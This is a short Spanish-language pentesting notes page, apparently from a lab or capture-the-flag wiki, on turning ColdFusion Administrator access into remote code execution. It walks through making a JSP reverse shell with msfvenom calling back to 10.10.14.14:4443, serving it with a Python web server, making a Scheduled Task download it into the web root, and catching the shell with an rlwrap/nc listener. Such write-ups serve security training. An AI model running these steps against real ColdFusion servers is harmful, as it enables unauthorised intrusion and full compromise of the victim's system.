ColdFusion Administrator
¿Qué es y como funciona?
Coldfusion es una plataforma de desarrollo rápido de aplicaciones web que usa el lenguaje de programación CFML. En este aspecto, es un producto similar a ASP, JSP o PHP. ColdFusion es una herramienta que corre en forma concurrente con la mayoría de los servidores web de Windows, Mac OS X, Linux y Solaris
RCE administrator panel
Si conseguimos acceder al Administrator del ColdFusion como el usuario Administrador y tenemos directory listing de los archivos del sistema, podemos subir un archivo malicioso que puede ser tanto ASP, JSP o PHP el cúal nos permita tener acceso al sistema victima, se puede subir mediante:
Scheduled Tasks

Entramos en Schedule Tasks y le damos a Shecule New Task

Y antes de poner los nombres, creamos con msfvenom el payload que subiremos a la máquina victima y que nos dará acceso a ella.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.14 LPORT=4443 -o exploit.jsp
Donde está el exploit.jsp abrimos un servidor con python para que lo descarge el ColdFusion y lo suba.
python3 -m http.server 9000
Para saber donde se alojan los archivos, tenemos que ir a Server Settings --> Mapping

Una vez ya sabemos donde se suben los archivos y hemos creado el payload, ahora toca rellenar la tarea.

Ejecutamos la tarea para que se descarge el exploit.jsp


Si actualizamos el directory listing vemos que está el exploit.jsp

Ponemos un listener para que espere la petición que nos dará el exploit.jsp una vez le demos click
rlwrap -nc -lvnp 4443 # rlwrap para tener una consola interactiva, poder hacer Ctrl+L y mover tranquilamente las flechas etc

Last updated